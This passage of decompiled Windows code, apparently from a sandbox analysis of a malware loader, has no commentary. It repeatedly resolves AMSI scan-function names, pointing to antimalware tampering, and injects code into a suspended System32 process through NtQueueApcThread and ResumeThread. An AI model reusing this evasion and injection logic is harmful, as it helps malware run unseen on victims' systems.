					E02CB5E70( &_v964);
					E02CB44C4( &_v960, 0x45);
					_t6107 =  *0x2ccc9bc; // 0x2ccc9c0
					E02CB57A0( &_v684, _t6107);
					E02CB44C4( &_v680, 8);
					E02CB4C24( &_v648);
					E02CB44C4( &_v644, 5);
					E02CB44C4( &_v616, 2);
					E02CB44C4( &_v624, 2);
					E02CB44C4( &_v608, 0x5f);
					E02CB44C4( &_v224, 3);
					E02CB44A0( &_v228);
					return E02CB44C4( &_v212, 0x34);
				} else {
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("ScanBuffer");
					E02CB4824();
					E02CB4698( &_v1216, E02CB4964(_v1220));
					_push(_v1216);
					_t5664 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1228, _t5664, 0x2cd6c14);
					E02CB4698( &_v1224, E02CB4964(_v1228));
					_pop(_t6119); // executed
					E02CC7B74(_v1224, _t6119); // executed
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("Initialize");
					E02CB4824();
					E02CB4698( &_v1232, E02CB4964(_v1236));
					_push(_v1232);
					_t5665 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1244, _t5665, 0x2cd6c14);
					E02CB4698( &_v1240, E02CB4964(_v1244));
					_pop(_t6124); // executed
					E02CC7B74(_v1240, _t6124); // executed
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("OpenSession");
					E02CB4824();
					E02CB4698( &_v1248, E02CB4964(_v1252));
					_push(_v1248);
					_t5666 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1260, _t5666, 0x2cd6c14);
					E02CB4698( &_v1256, E02CB4964(_v1260));
					_pop(_t6129); // executed
					E02CC7B74(_v1256, _t6129); // executed
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("ScanBuffer");
					E02CB4824();
					E02CB4698( &_v1264, E02CB4964(_v1268));
					_push(_v1264);
					_t5667 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1276, _t5667, 0x2cd6c14);
					E02CB4698( &_v1272, E02CB4964(_v1276));
					_pop(_t6134); // executed
					E02CC7B74(_v1272, _t6134);
					_t2703 =  *0x2de2830; // 0xeca1b78
					_t2704 = E02CB7AB0(_t2703, _t7228);
					_t2705 =  *0x2de286c; // 0x7f560018, executed
					E02CCD4FC(_t2705, 0x2de2878,  &_v1280, _t2704, _t7215); // executed
					E02CB44F4(0x2de27f8, _v1280);
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("Initialize");
					E02CB4824();
					E02CB4698( &_v1284, E02CB4964(_v1288));
					_push(_v1284);
					_t5669 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1296, _t5669, 0x2cd6c14);
					E02CB4698( &_v1292, E02CB4964(_v1296));
					_pop(_t6141); // executed
					E02CC7B74(_v1292, _t6141); // executed
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("ScanString");
					E02CB4824();
					E02CB4698( &_v1300, E02CB4964(_v1304));
					_push(_v1300);
					_t5670 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1312, _t5670, 0x2cd6c14);
					E02CB4698( &_v1308, E02CB4964(_v1312));
					_pop(_t6146); // executed
					E02CC7B74(_v1308, _t6146); // executed
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("OpenSession");
					E02CB4824();
					E02CB4698( &_v1316, E02CB4964(_v1320));
					_push(_v1316);
					_t5671 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1328, _t5671, 0x2cd6c14);
					E02CB4698( &_v1324, E02CB4964(_v1328));
					_pop(_t6151); // executed
					E02CC7B74(_v1324, _t6151); // executed
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("ScanBuffer");
					E02CB4824();
					E02CB4698( &_v1332, E02CB4964(_v1336));
					_push(_v1332);
					_t5672 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1344, _t5672, 0x2cd6c14);
					E02CB4698( &_v1340, E02CB4964(_v1344));
					_pop(_t6156); // executed
					E02CC7B74(_v1340, _t6156); // executed
					_t2765 =  *0x2de27f8; // 0x7f270018
					E02CCD498(_t2765, _t5672,  &_v1348);
					E02CB44F4(0x2de2828, _v1348);
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("Initialize");
					E02CB4824();
					E02CB4698( &_v1352, E02CB4964(_v1356));
					_push(_v1352);
					_t5673 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1364, _t5673, 0x2cd6c14);
					E02CB4698( &_v1360, E02CB4964(_v1364));
					_pop(_t6163); // executed
					E02CC7B74(_v1360, _t6163); // executed
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("ScanString");
					E02CB4824();
					E02CB4698( &_v1368, E02CB4964(_v1372));
					_push(_v1368);
					_t5674 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1380, _t5674, 0x2cd6c14);
					E02CB4698( &_v1376, E02CB4964(_v1380));
					_pop(_t6168); // executed
					E02CC7B74(_v1376, _t6168); // executed
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("OpenSession");
					E02CB4824();
					E02CB4698( &_v1384, E02CB4964(_v1388));
					_push(_v1384);
					_t5675 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1396, _t5675, 0x2cd6c14);
					E02CB4698( &_v1392, E02CB4964(_v1396));
					_pop(_t6173); // executed
					E02CC7B74(_v1392, _t6173); // executed
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("ScanBuffer");
					E02CB4824();
					E02CB4698( &_v1400, E02CB4964(_v1404));
					_push(_v1400);
					_t5676 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1412, _t5676, 0x2cd6c14);
					E02CB4698( &_v1408, E02CB4964(_v1412));
					_pop(_t6178); // executed
					E02CC7B74(_v1408, _t6178); // executed
					_t6179 =  *0x2cd9ae4; // 0x57f13c
					E02CB4728( &_v1420, _t6179);
					_t2827 =  *0x2de2828; // 0x7f4a0018, executed
					E02CCCCF8(_t2827, 0x2de2878,  &_v1416, _v1420, _t7214, _t7215); // executed
					_t5678 =  *0x2ccc9bc; // 0x2ccc9c0
					E02CB57DC(0x2de2878, _t5678, _v1416);
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("Initialize");
					E02CB4824();
					E02CB4698( &_v1424, E02CB4964(_v1428));
					_push(_v1424);
					_t5679 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1436, _t5679, 0x2cd6c14);
					E02CB4698( &_v1432, E02CB4964(_v1436));
					_pop(_t6186); // executed
					E02CC7B74(_v1432, _t6186); // executed
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("ScanString");
					E02CB4824();
					E02CB4698( &_v1440, E02CB4964(_v1444));
					_push(_v1440);
					_t5680 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1452, _t5680, 0x2cd6c14);
					E02CB4698( &_v1448, E02CB4964(_v1452));
					_pop(_t6191); // executed
					E02CC7B74(_v1448, _t6191); // executed
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("OpenSession");
					E02CB4824();
					E02CB4698( &_v1456, E02CB4964(_v1460));
					_push(_v1456);
					_t5681 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1468, _t5681, 0x2cd6c14);
					E02CB4698( &_v1464, E02CB4964(_v1468));
					_pop(_t6196); // executed
					E02CC7B74(_v1464, _t6196); // executed
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("ScanBuffer");
					E02CB4824();
					E02CB4698( &_v1472, E02CB4964(_v1476));
					_push(_v1472);
					_t5682 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1484, _t5682, 0x2cd6c14);
					E02CB4698( &_v1480, E02CB4964(_v1484));
					_pop(_t6201); // executed
					E02CC7B74(_v1480, _t6201); // executed
					E02CB44F4(0x2de28cc,  *((intOrPtr*)( *0x2de2878 + 4)));
					E02CB44F4(0x2de28c4,  *((intOrPtr*)( *0x2de2878 + 8)));
					E02CB44F4(0x2de2864,  *((intOrPtr*)( *0x2de2878 + 0xc)));
					E02CB44F4(0x2de28c8,  *((intOrPtr*)( *0x2de2878 + 0x10)));
					E02CB44F4(0x2de28b0,  *((intOrPtr*)( *0x2de2878 + 0x14)));
					E02CB44F4(0x2de28b4,  *((intOrPtr*)( *0x2de2878 + 0x18)));
					E02CB44F4(0x2de28b8,  *((intOrPtr*)( *0x2de2878 + 0x1c)));
					E02CB44F4(0x2de28bc,  *((intOrPtr*)( *0x2de2878 + 0x20)));
					E02CB44F4(0x2de28a8,  *((intOrPtr*)( *0x2de2878 + 0x24)));
					E02CB44F4(0x2de281c,  *((intOrPtr*)( *0x2de2878 + 0x28)));
					E02CB44F4(0x2de2820,  *((intOrPtr*)( *0x2de2878 + 0x2c)));
					E02CB44F4(0x2de2824,  *((intOrPtr*)( *0x2de2878 + 0x30)));
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("OpenSession");
					E02CB4824();
					E02CB4698( &_v1488, E02CB4964(_v1492));
					_push(_v1488);
					_t5683 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1500, _t5683, 0x2cd6c14);
					E02CB4698( &_v1496, E02CB4964(_v1500));
					_pop(_t6230); // executed
					E02CC7B74(_v1496, _t6230); // executed
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("ScanString");
					E02CB4824();
					E02CB4698( &_v1504, E02CB4964(_v1508));
					_push(_v1504);
					_t5684 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1516, _t5684, 0x2cd6c14);
					E02CB4698( &_v1512, E02CB4964(_v1516));
					_pop(_t6235); // executed
					E02CC7B74(_v1512, _t6235);
					_t2939 =  *0x2de2874; // 0xec84e48
					E02CB4698( &_v1520, E02CB4964(_t2939));
					if(E02CB7E64(_v1520) == 0) {
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("Initialize");
						E02CB4824();
						E02CB4698( &_v1524, E02CB4964(_v1528));
						_push(_v1524);
						_t5837 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v1536, _t5837, 0x2cd6c14);
						E02CB4698( &_v1532, E02CB4964(_v1536));
						_pop(_t7007);
						E02CC7B74(_v1532, _t7007);
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("ScanBuffer");
						E02CB4824();
						E02CB4698( &_v1540, E02CB4964(_v1544));
						_push(_v1540);
						_t5838 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v1552, _t5838, 0x2cd6c14);
						E02CB4698( &_v1548, E02CB4964(_v1552));
						_pop(_t7012);
						E02CC7B74(_v1548, _t7012);
						_t5055 =  *0x2de2874; // 0xec84e48
						E02CB4698( &_v1556, E02CB4964(_t5055));
						E02CB802C(_v1556);
					}
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("OpenSession");
					E02CB4824();
					E02CB4698( &_v1560, E02CB4964(_v1564));
					_push(_v1560);
					_t5685 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1572, _t5685, 0x2cd6c14);
					E02CB4698( &_v1568, E02CB4964(_v1572));
					_pop(_t6241); // executed
					E02CC7B74(_v1568, _t6241); // executed
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("ScanBuffer");
					E02CB4824();
					E02CB4698( &_v1576, E02CB4964(_v1580));
					_push(_v1576);
					_t5686 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1588, _t5686, 0x2cd6c14);
					E02CB4698( &_v1584, E02CB4964(_v1588));
					_pop(_t6246); // executed
					E02CC7B74(_v1584, _t6246);
					_t2973 =  *0x2de28c4; // 0xeca9898
					_v1112 = _t2973;
					_t5627 = _v1112;
					if(_t5627 != 0) {
						_t5627 =  *(_t5627 - 4);
					}
					_t2974 =  *0x2de28c4; // 0xeca9898
					E02CB49C4(_t2974, _t5627 != 3, 1, 0x2de28c4);
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("OpenSession");
					E02CB4824();
					E02CB4698( &_v1592, E02CB4964(_v1596));
					_push(_v1592);
					_t5689 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1604, _t5689, 0x2cd6c14);
					E02CB4698( &_v1600, E02CB4964(_v1604));
					_pop(_t6252); // executed
					E02CC7B74(_v1600, _t6252); // executed
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("ScanString");
					E02CB4824();
					E02CB4698( &_v1608, E02CB4964(_v1612));
					_push(_v1608);
					_t5690 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1620, _t5690, 0x2cd6c14);
					E02CB4698( &_v1616, E02CB4964(_v1620));
					_pop(_t6257); // executed
					E02CC7B74(_v1616, _t6257); // executed
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("OpenSession");
					E02CB4824();
					E02CB4698( &_v1624, E02CB4964(_v1628));
					_push(_v1624);
					_t5691 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1636, _t5691, 0x2cd6c14);
					E02CB4698( &_v1632, E02CB4964(_v1636));
					_pop(_t6262); // executed
					E02CC7B74(_v1632, _t6262); // executed
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("ScanBuffer");
					E02CB4824();
					E02CB4698( &_v1640, E02CB4964(_v1644));
					_push(_v1640);
					_t5692 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v1652, _t5692, 0x2cd6c14);
					E02CB4698( &_v1648, E02CB4964(_v1652));
					_pop(_t6267); // executed
					E02CC7B74(_v1648, _t6267);
					_t3032 =  *0x2de28b0; // 0xeca1bb8
					E02CB48B0(_t3032, 0x2cd6eb4);
					if(_t5627 != 3) {
						L28:
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("OpenSession");
						E02CB4824();
						E02CB4698( &_v2204, E02CB4964(_v2208));
						_push(_v2204);
						_t5693 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v2216, _t5693, 0x2cd6c14);
						E02CB4698( &_v2212, E02CB4964(_v2216));
						_pop(_t6273); // executed
						E02CC7B74(_v2212, _t6273); // executed
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("ScanBuffer");
						E02CB4824();
						E02CB4698( &_v2220, E02CB4964(_v2224));
						_push(_v2220);
						_t5694 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v2232, _t5694, 0x2cd6c14);
						E02CB4698( &_v2228, E02CB4964(_v2232));
						_pop(_t6278); // executed
						E02CC7B74(_v2228, _t6278); // executed
						_t6279 =  *0x2de28cc; // 0xec6f3e8
						_t3062 =  *0x2de2864; // 0x7ee50018, executed
						E02CCCE44(_t3062, _t5627,  &_v2236, _t6279, _t7214, _t7215); // executed
						E02CB44F4(0x2de2814, _v2236);
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("Initialize");
						E02CB4824();
						E02CB4698( &_v2240, E02CB4964(_v2244));
						_push(_v2240);
						_t5696 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v2252, _t5696, 0x2cd6c14);
						E02CB4698( &_v2248, E02CB4964(_v2252));
						_pop(_t6285); // executed
						E02CC7B74(_v2248, _t6285); // executed
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("OpenSession");
						E02CB4824();
						E02CB4698( &_v2256, E02CB4964(_v2260));
						_push(_v2256);
						_t5697 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v2268, _t5697, 0x2cd6c14);
						E02CB4698( &_v2264, E02CB4964(_v2268));
						_pop(_t6290); // executed
						E02CC7B74(_v2264, _t6290); // executed
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("ScanBuffer");
						E02CB4824();
						E02CB4698( &_v2272, E02CB4964(_v2276));
						_push(_v2272);
						_t5698 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v2284, _t5698, 0x2cd6c14);
						E02CB4698( &_v2280, E02CB4964(_v2284));
						_pop(_t6295); // executed
						E02CC7B74(_v2280, _t6295);
						_t3108 =  *0x2de28bc; // 0xeca1bf8
						_t3109 = E02CB7AB0(_t3108, __eflags);
						_t3110 =  *0x2de2814; // 0x7ef00018, executed
						E02CCD4FC(_t3110, _t5627,  &_v2288, _t3109, _t7215); // executed
						E02CB44F4(0x2de2810, _v2288);
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("Initialize");
						E02CB4824();
						E02CB4698( &_v2292, E02CB4964(_v2296));
						_push(_v2292);
						_t5700 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v2304, _t5700, 0x2cd6c14);
						E02CB4698( &_v2300, E02CB4964(_v2304));
						_pop(_t6302); // executed
						E02CC7B74(_v2300, _t6302); // executed
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("OpenSession");
						E02CB4824();
						E02CB4698( &_v2308, E02CB4964(_v2312));
						_push(_v2308);
						_t5701 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v2320, _t5701, 0x2cd6c14);
						E02CB4698( &_v2316, E02CB4964(_v2320));
						_pop(_t6307); // executed
						E02CC7B74(_v2316, _t6307); // executed
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("ScanBuffer");
						E02CB4824();
						E02CB4698( &_v2324, E02CB4964(_v2328));
						_push(_v2324);
						_t5702 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v2336, _t5702, 0x2cd6c14);
						E02CB4698( &_v2332, E02CB4964(_v2336));
						_pop(_t6312); // executed
						E02CC7B74(_v2332, _t6312); // executed
						_t3156 =  *0x2de2810; // 0x7edc0018
						E02CC7C58(_t3156, _t5702,  &_v2344);
						E02CCD498(_v2344, _t5702,  &_v2340);
						E02CB44F4(0x2de2868, _v2340);
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("Initialize");
						E02CB4824();
						E02CB4698( &_v2348, E02CB4964(_v2352));
						_push(_v2348);
						_t5703 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v2360, _t5703, 0x2cd6c14);
						E02CB4698( &_v2356, E02CB4964(_v2360));
						_pop(_t6320); // executed
						E02CC7B74(_v2356, _t6320); // executed
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("OpenSession");
						E02CB4824();
						E02CB4698( &_v2364, E02CB4964(_v2368));
						_push(_v2364);
						_t5704 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v2376, _t5704, 0x2cd6c14);
						E02CB4698( &_v2372, E02CB4964(_v2376));
						_pop(_t6325); // executed
						E02CC7B74(_v2372, _t6325); // executed
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("ScanString");
						E02CB4824();
						E02CB4698( &_v2380, E02CB4964(_v2384));
						_push(_v2380);
						_t5705 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v2392, _t5705, 0x2cd6c14);
						E02CB4698( &_v2388, E02CB4964(_v2392));
						_pop(_t6330); // executed
						E02CC7B74(_v2388, _t6330);
						_t3204 =  *0x2de28c8; // 0xeca1bc8
						E02CB48B0(_t3204, 0x2cd6eb4);
						if(__eflags != 0) {
							L32:
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("OpenSession");
							E02CB4824();
							E02CB4698( &_v3476, E02CB4964(_v3480));
							_push(_v3476);
							_t5706 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v3488, _t5706, 0x2cd6c14);
							E02CB4698( &_v3484, E02CB4964(_v3488));
							_pop(_t6336); // executed
							E02CC7B74(_v3484, _t6336); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("UacInitialize");
							E02CB4824();
							E02CB4698( &_v3492, E02CB4964(_v3496));
							_push(_v3492);
							_t5707 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v3504, _t5707, 0x2cd6c14);
							E02CB4698( &_v3500, E02CB4964(_v3504));
							_pop(_t6341); // executed
							E02CC7B74(_v3500, _t6341); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("ScanBuffer");
							E02CB4824();
							E02CB4698( &_v3508, E02CB4964(_v3512));
							_push(_v3508);
							_t5708 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v3520, _t5708, 0x2cd6c14);
							E02CB4698( &_v3516, E02CB4964(_v3520));
							_pop(_t6346); // executed
							E02CC7B74(_v3516, _t6346);
							_t3248 =  *0x2de28b8; // 0xeca1be8
							E02CB48B0(_t3248, 0x2cd6eb4);
							if(__eflags != 0) {
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("ScanString");
								E02CB4824();
								E02CB4698( &_v3868, E02CB4964(_v3872));
								_push(_v3868);
								_t5709 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3880, _t5709, 0x2cd6c14);
								E02CB4698( &_v3876, E02CB4964(_v3880));
								_pop(_t6352); // executed
								E02CC7B74(_v3876, _t6352); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("Initialize");
								E02CB4824();
								E02CB4698( &_v3884, E02CB4964(_v3888));
								_push(_v3884);
								_t5710 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3896, _t5710, 0x2cd6c14);
								E02CB4698( &_v3892, E02CB4964(_v3896));
								_pop(_t6357); // executed
								E02CC7B74(_v3892, _t6357); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("ScanBuffer");
								E02CB4824();
								E02CB4698( &_v3900, E02CB4964(_v3904));
								_push(_v3900);
								_t5711 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3912, _t5711, 0x2cd6c14);
								E02CB4698( &_v3908, E02CB4964(_v3912));
								_pop(_t6362); // executed
								E02CC7B74(_v3908, _t6362); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("ScanString");
								E02CB4824();
								E02CB4698( &_v3916, E02CB4964(_v3920));
								_push(_v3916);
								_t5712 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3928, _t5712, 0x2cd6c14);
								E02CB4698( &_v3924, E02CB4964(_v3928));
								_pop(_t6367); // executed
								E02CC7B74(_v3924, _t6367); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("OpenSession");
								E02CB4824();
								E02CB4698( &_v3932, E02CB4964(_v3936));
								_push(_v3932);
								_t5713 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3944, _t5713, 0x2cd6c14);
								E02CB4698( &_v3940, E02CB4964(_v3944));
								_pop(_t6372); // executed
								E02CC7B74(_v3940, _t6372); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("Initialize");
								E02CB4824();
								E02CB4698( &_v3948, E02CB4964(_v3952));
								_push(_v3948);
								_t5714 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v3960, _t5714, 0x2cd6c14);
								E02CB4698( &_v3956, E02CB4964(_v3960));
								_pop(_t6377); // executed
								E02CC7B74(_v3956, _t6377);
								_t3334 =  *0x2de28b4; // 0xeca1bd8
								E02CB48B0(_t3334, 0x2cd6eb4);
								if(__eflags == 0) {
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("UacScan");
									E02CB4824();
									E02CB4698( &_v3964, E02CB4964(_v3968));
									_push(_v3964);
									_t5741 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v3976, _t5741, 0x2cd6c14);
									E02CB4698( &_v3972, E02CB4964(_v3976));
									_pop(_t6633);
									E02CC7B74(_v3972, _t6633);
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("OpenSession");
									E02CB4824();
									E02CB4698( &_v3980, E02CB4964(_v3984));
									_push(_v3980);
									_t5742 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v3992, _t5742, 0x2cd6c14);
									E02CB4698( &_v3988, E02CB4964(_v3992));
									_pop(_t6638);
									E02CC7B74(_v3988, _t6638);
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("ScanString");
									E02CB4824();
									E02CB4698( &_v3996, E02CB4964(_v4000));
									_push(_v3996);
									_t5743 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v4008, _t5743, 0x2cd6c14);
									E02CB4698( &_v4004, E02CB4964(_v4008));
									_pop(_t6643);
									E02CC7B74(_v4004, _t6643);
									_t5744 =  *0x2de2818; // 0xeca9160
									E02CB47B0( &_v4016, _t5744, "C:\\Windows\\System32\\");
									E02CB4D38( &_v4012, E02CB4964(_v4016));
									_t4023 = E02CB4DB4(_v4012);
									_t4024 =  *0x2de278c; // 0x0
									_t4025 = CreateProcessAsUserW(_t4024, 0, _t4023, 0, 0, 0, 4, 0, 0, 0x2de2790, 0x2de27d4);
									__eflags = _t4025;
									if(_t4025 != 0) {
										_push(0x2cd6c14);
										_push( *0x2de28a0);
										_push("OpenSession");
										E02CB4824();
										E02CB4698( &_v4020, E02CB4964(_v4024));
										_push(_v4020);
										_t5766 =  *0x2de28a0; // 0xeca1b38
										E02CB47B0( &_v4032, _t5766, 0x2cd6c14);
										E02CB4698( &_v4028, E02CB4964(_v4032));
										_pop(_t6715);
										E02CC7B74(_v4028, _t6715);
									}
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("ScanBuffer");
									E02CB4824();
									E02CB4698( &_v4036, E02CB4964(_v4040));
									_push(_v4036);
									_t5745 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v4048, _t5745, 0x2cd6c14);
									E02CB4698( &_v4044, E02CB4964(_v4048));
									_pop(_t6650);
									E02CC7B74(_v4044, _t6650);
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("UacScan");
									E02CB4824();
									E02CB4698( &_v4052, E02CB4964(_v4056));
									_push(_v4052);
									_t5746 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v4064, _t5746, 0x2cd6c14);
									E02CB4698( &_v4060, E02CB4964(_v4064));
									_pop(_t6655);
									E02CC7B74(_v4060, _t6655);
									_t4054 =  *0x2de2868; // 0x7ecc0018
									_v1112 = _t4054;
									_t5627 = _v1112;
									__eflags = _t5627;
									if(_t5627 != 0) {
										_t5628 = _t5627 - 4;
										__eflags = _t5628;
										_t5627 =  *_t5628;
									}
									E02CCCC74(0x2cee544, _t5627, E02CB49BC(0x2de2868));
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("ScanBuffer");
									E02CB4824();
									E02CB4698( &_v4068, E02CB4964(_v4072));
									_push(_v4068);
									_t5748 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v4080, _t5748, 0x2cd6c14);
									E02CB4698( &_v4076, E02CB4964(_v4080));
									_pop(_t6661);
									E02CC7B74(_v4076, _t6661);
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("OpenSession");
									E02CB4824();
									E02CB4698( &_v4084, E02CB4964(_v4088));
									_push(_v4084);
									_t5749 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v4096, _t5749, 0x2cd6c14);
									E02CB4698( &_v4092, E02CB4964(_v4096));
									_pop(_t6666);
									E02CC7B74(_v4092, _t6666);
									_t4087 = 0x2de27d4->hProcess; // 0x0
									 *0x2de2860 = E02CCC1F8(_t4087, _t5627, 0x2cee544, _t7214, _t7215);
									__eflags =  *0x2de2860;
									if( *0x2de2860 != 0) {
										_push(0x2cd6c14);
										_push( *0x2de28a0);
										_push("OpenSession");
										E02CB4824();
										E02CB4698( &_v4100, E02CB4964(_v4104));
										_push(_v4100);
										_t5765 =  *0x2de28a0; // 0xeca1b38
										E02CB47B0( &_v4112, _t5765, 0x2cd6c14);
										E02CB4698( &_v4108, E02CB4964(_v4112));
										_pop(_t6710);
										E02CC7B74(_v4108, _t6710);
									}
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("Initialize");
									E02CB4824();
									E02CB4698( &_v4116, E02CB4964(_v4120));
									_push(_v4116);
									_t5751 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v4128, _t5751, 0x2cd6c14);
									E02CB4698( &_v4124, E02CB4964(_v4128));
									_pop(_t6672);
									E02CC7B74(_v4124, _t6672);
									_t4103 =  *0x2de2860; // 0x0
									_t4104 =  *0x2de27d8; // 0x0
									NtQueueApcThread(_t4104, _t4103, 0, 0, 0);
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("UacScan");
									E02CB4824();
									E02CB4698( &_v4132, E02CB4964(_v4136));
									_push(_v4132);
									_t5752 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v4144, _t5752, 0x2cd6c14);
									E02CB4698( &_v4140, E02CB4964(_v4144));
									_pop(_t6677);
									E02CC7B74(_v4140, _t6677);
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("Initialize");
									E02CB4824();
									E02CB4698( &_v4148, E02CB4964(_v4152));
									_push(_v4148);
									_t5753 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v4160, _t5753, 0x2cd6c14);
									E02CB4698( &_v4156, E02CB4964(_v4160));
									_pop(_t6682);
									E02CC7B74(_v4156, _t6682);
									_t4134 =  *0x2de27d8; // 0x0
									ResumeThread(_t4134);
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("UacScan");
									E02CB4824();
									E02CB4698( &_v4164, E02CB4964(_v4168));
									_push(_v4164);
									_t5754 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v4176, _t5754, 0x2cd6c14);
									E02CB4698( &_v4172, E02CB4964(_v4176));
									_pop(_t6687);
									E02CC7B74(_v4172, _t6687);
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("OpenSession");
									E02CB4824();
									E02CB4698( &_v4180, E02CB4964(_v4184));
									_push(_v4180);
									_t5755 =  *0x2de28a0; // 0xeca1b38
